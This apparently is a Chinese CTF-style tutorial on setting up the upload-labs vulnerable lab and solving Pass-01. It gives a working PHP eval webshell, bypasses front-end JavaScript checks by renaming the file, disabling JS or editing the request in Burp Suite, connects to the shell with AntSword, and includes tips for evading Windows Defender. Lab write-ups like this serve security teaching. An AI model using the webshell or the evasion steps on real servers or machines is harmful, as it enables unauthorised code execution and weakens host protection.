Upload-labs:部署靶场及Pass-01实战解析
本文包含如何配置upload-labs以及Pass-01的解题步骤与详细原理建议收藏观看后续将会更新剩下2-21题的解题步骤和原理安装配置upload-labsupload-labs 是一个基于 PHP 的文件上传漏洞演练靶场已下载文件后需将其部署到 PHP 服务环境中才能访问。核心步骤是将文件放入 PHP 环境的网站根目录 → 启动服务 → 通过浏览器访问http://localhost/upload-labs/。以下是具体操作指南一、环境部署-- 选择并配置环境1推荐使用 PHPStudyWindows 用户最简单下载安装 PHPStudy从官网https://www.xp.cn/下载最新版安装时路径避免中文或空格如D:\phpstudy_pro。启动服务打开 PHPStudy点击Apache和MySQL的“启动”按钮状态灯变绿即成功。环境配置问题集成开发环境phpStudy安装与配置指南包含DVWA_小皮面板安装dvwa修改配置-CSDN博客2将文件放入网站根目录找到 PHPStudy 的网站根目录默认路径D:\phpstudy_pro\WWW。将下载的upload-labs文件夹整体复制到该目录下无需解压到子目录直接保留原文件夹名。手动创建upload目录关键步骤在upload-labs文件夹内新建一个名为upload的空文件夹用于存储上传的文件。3访问靶场浏览器输入http://localhost/upload-labs/若修改过端口需补充端口号如:8080。我是bp用的8080dvwa用的8088若显示 404 错误检查文件夹名称是否为upload-labs不能是upload-labs-master等其他名称。确认已创建upload目录部分关卡依赖此路径。如下图就是成功了二、常见问题解决1. 页面报错 404原因文件夹名称不匹配或未创建upload目录。解决将文件夹重命名为upload-labs严格匹配。确保upload-labs目录下存在upload子文件夹无内容即可。2. 页面报错 500原因PHP 版本不兼容推荐PHP 5.2.17 或 5.4.45。解决在 PHPStudy 中切换 PHP 版本至5.x 系列高版本 PHP 可能导致部分关卡失效。重启 Apache 服务。3. 无法上传文件关键检查项upload目录需有写入权限Windows 一般默认满足。若使用 Docker 部署需确保容器内路径映射正确。三、替代部署方式可选1. Docker 快速启动需已安装 Dockerdocker pull c0ny1/upload-labs docker run -d -p 80:80 c0ny1/upload-labs访问http://localhost即可无需额外配置路径。2. 手动配置 Apache/PHP 环境Linux 用户将文件放入/var/www/html/upload-labs。确保 Apache 配置中AllowOverride All已启用支持.htaccess。重点提醒必须使用 PHP 环境upload-labs 是 PHP 项目直接双击 HTML 文件无法运行。推荐 PHP 5.x 版本高版本 PHP 可能导致部分关卡如 Pass-03无法触发漏洞。靶场共 21 关每关模拟不同上传漏洞如前端校验绕过、MIME 类型欺骗等通关需结合 Burp Suite 等工具分析请求。完成上述步骤后浏览器访问指定 URL 即可进入靶场界面。若仍遇到问题请检查 PHP 服务状态及文件路径是否符合要求。解题前言环境已就绪实战即刻开始。继刚刚的环境搭建教程后本文将正式进入upload-labs的核心环节——全关卡解题思路复盘。这里没有枯燥的理论堆砌只有最直接的漏洞分析与最实用的绕过技巧。我们将针对每一关的限制条件进行源码级分析还原攻击载荷的构造过程。如果你已经准备好探索文件上传的无限可能那么请跟随本文的步骤让我们一关一关地攻破它。pass-01这是upload-labs的第一关也是最经典、最基础的一关。它考察的是对前端 JavaScript 验证的理解和绕过。从截图中可以看到底部的代码是一段 JavaScript 代码function checkFile()。漏洞分析代码逻辑代码定义了一个允许上传的扩展名列表var allow_ext .jpg|.png|.gif;当点击上传时JS 会获取文件名的后缀。如果后缀不在允许列表中例如.phpJS 就会弹窗报错alert并阻止提交return false。核心弱点验证只发生在浏览器端前端。服务器端并没有进行严格的检查或者这一关故意没写服务端验证。只要我们能绕过浏览器的这个 JS 检查把数据包发送出去服务器就会接收。推荐使用Burp Suite 抓包修改法因为这更符合真实渗透场景。先上传一个1.jpg的 Webshell利用 Burp 拦截数据包将文件名改回1.php后放行即可绕过前端检查并成功写入 PHP 文件。通关步骤三种方法你可以任选一种方法推荐方法一最简单。方法一修改文件扩展名最简单既然 JS 只检查后缀名是不是 jpg/png/gif那我们就先骗过它。准备 Webshell新建一个文本文件写入 PHP 代码?php eval($_POST[cmd]);?原本记事本写的改了后缀将其保存为shell.php。欺骗前端将shell.php重命名为shell.jpg或者是 png、gif 都可以。上传文件点击“浏览”选择修改后的shell.jpg。点击“上传”。结果如果没有js检查的话此时会通过文件上传成功页面会提示“文件上传成功保存路径为...”但有js检查的需要禁用js或者抓包改数据才行截断/修改后缀关键此时文件在服务器上确实是.jpg结尾的无法作为 PHP 执行。注意第一关其实有一个隐藏的技巧或者你需要结合“方法二”来抓包修改。但在第一关的默认配置下通常只需要禁用JS或者抓包修改才能真正拿到 shell。修正仅仅改成jpg上传是不够的因为服务器虽然接收了jpg但它不会解析jpg为php。所以方法一必须配合方法二或者方法三才能完成“上传”的任务。之后的方法一配合禁用JS方法二禁用 JavaScript最直观既然验证是靠 JS 完成的那我们不让 JS 运行就行了。浏览器设置如果你用的是 Chrome可以安装一个插件叫 Quick JavaScript Switcher点击图标选择 Disable。或者在浏览器设置里直接禁止当前网站运行 JavaScript。上传文件刷新页面此时 JS 已失效。直接选择你的shell.php文件。点击“上传”。结果因为没有 JS 阻拦浏览器直接把.php文件发给了服务器。页面提示上传成功并给出路径。访问该路径即可连接 Webshell。方法三Burp Suite 抓包修改最专业推荐掌握这是渗透测试中最常用的手法不需要关闭浏览器功能。准备工作打开 Burp Suite确保 Proxy - Intercept 是开启状态Intercept is on。浏览器代理设置好如果之前搭环境配过就不用动了。构造请求将shell.php重命名为shell.jpg为了骗过前端JS。在页面选择shell.jpg点击“上传”。拦截与修改此时 Burp Suite 会拦截到数据包。在 Burp 中你会看到类似filenameshell.jpg的字段。将其修改回filenameshell.php。放行点击 Forward 发送数据包。结果浏览器收到响应提示上传成功。虽然你本地选的是 jpg但服务器收到并保存的是 php。总结第一关的核心知识点前端验证JavaScript是非常脆弱的可以被轻易绕过。防御建议永远不要只依赖前端验证必须在服务器端对文件类型、后缀、内容进行全面检查。可能会出现的问题问题1bp还没抓到包呢就无法上传了这个弹窗是Windows 系统自带的“Microsoft Defender 智能筛选”拦截了你创建或选择这个文件它认为你的whell.jpg里面其实写的是PHP代码是个病毒。这导致你在本地根本无法正常选中这个文件或者文件刚建好就被删除/隔离了。解决方法三选一方法 A添加排除项推荐最稳妥你需要告诉 Windows 的杀毒软件“在这个文件夹里别乱动我的文件”。打开Windows 安全中心通常在右下角盾牌图标或者开始菜单搜“病毒和威胁防护”。点击“管理设置”。向下拉找到“排除项”-“添加或删除排除项”。点击“添加排除项”- 选择“文件夹”。把你存放whell.jpg的那个文件夹选进去。重新创建你的whell.jpg文件这次就不会报错了。方法 B先写无害内容上传时再改先写一个普通的文本文件里面写 hello保存为test.jpg。这时候杀毒软件不会报警。在upload-labs页面点击上传选中这个正常的test.jpg。但在点击“上传”按钮之前迅速用记事本打开test.jpg把内容改成?php phpinfo(); ?并保存。立刻点击网页上的“上传”。原理利用时间差让杀毒软件来不及反应。方法 C直接禁用 Defender不推荐除非你很有把握直接在安全中心把“实时保护”的开关关掉。做完实验记得开回来。搞定这个报错后你会发现即使上传成功还是会被网页弹窗拦截因为第一关是JS验证。那时候我们再用抓包工具Burp Suite或者禁用浏览器JS的方法来搞定它。问题2火狐渗透版怎么禁用js方法一使用开发者工具最快无需插件这是最推荐的方法适合临时禁用。按下F12打开开发者工具。点击右上角的齿轮图标设置。在“高级设置”或“调试器”栏目下勾选“禁用 JavaScript”。保持开发者工具开启此时刷新页面JS 即失效你可以直接上传whell.jpg内容为 PHP 代码了。方法二使用 NoScript 插件专业渗透推荐火狐渗透版通常预装了NoScript插件这是安全研究人员的神器。查看浏览器右上角工具栏找到一个“S”形状的图标。点击它选择“禁止所有页面”或直接点击“临时允许”切换状态。这能彻底切断脚本运行比修改配置更灵活。方法三修改 about:config全局永久禁用如果你想彻底关闭可以修改底层配置在地址栏输入about:config并回车接受风险提示。在搜索栏输入javascript.enabled。双击该选项将其值从true改为false。重启浏览器生效。针对 Pass-01 的替代方案无需禁用 JS其实你不需要禁用 JS 也能过这一关。Pass-01 只是前端检查你可以选中文件后不要点上传。打开Burp Suite开启抓包。点击上传Burp 会截获数据包。在 Burp 中把文件名whell.jpg修改为whell.php然后放行Forward。这样就能绕过前端 JS 检查直接测试后端的验证逻辑。这里我们要用到一个工具---蚁剑使用蚁剑唯一官方github下载地址https://github.com/AntSwordProject/注意我们下载的时候需要下载两个部分一个是项目核心源码”antSword“另一个是加载器加载器则分为三个版本Mac、Windows、Linux。解压好之后双击运行文件然后选择一下工作目录创一个新文件夹就好了很简单主界面使用方法在上传成功之后右键图片查看图片复制图片的url即http://upload-labs:8090/upload/whell.jpg右键点击---添加数据注密码是一句话木马中POST传的参数如果你是按我这来的话那么密码就是cmd?php eval($_POST[cmd]);?显示连接成功就行了2026年5月15日之前将会更新剩下2-21题的解题步骤和原理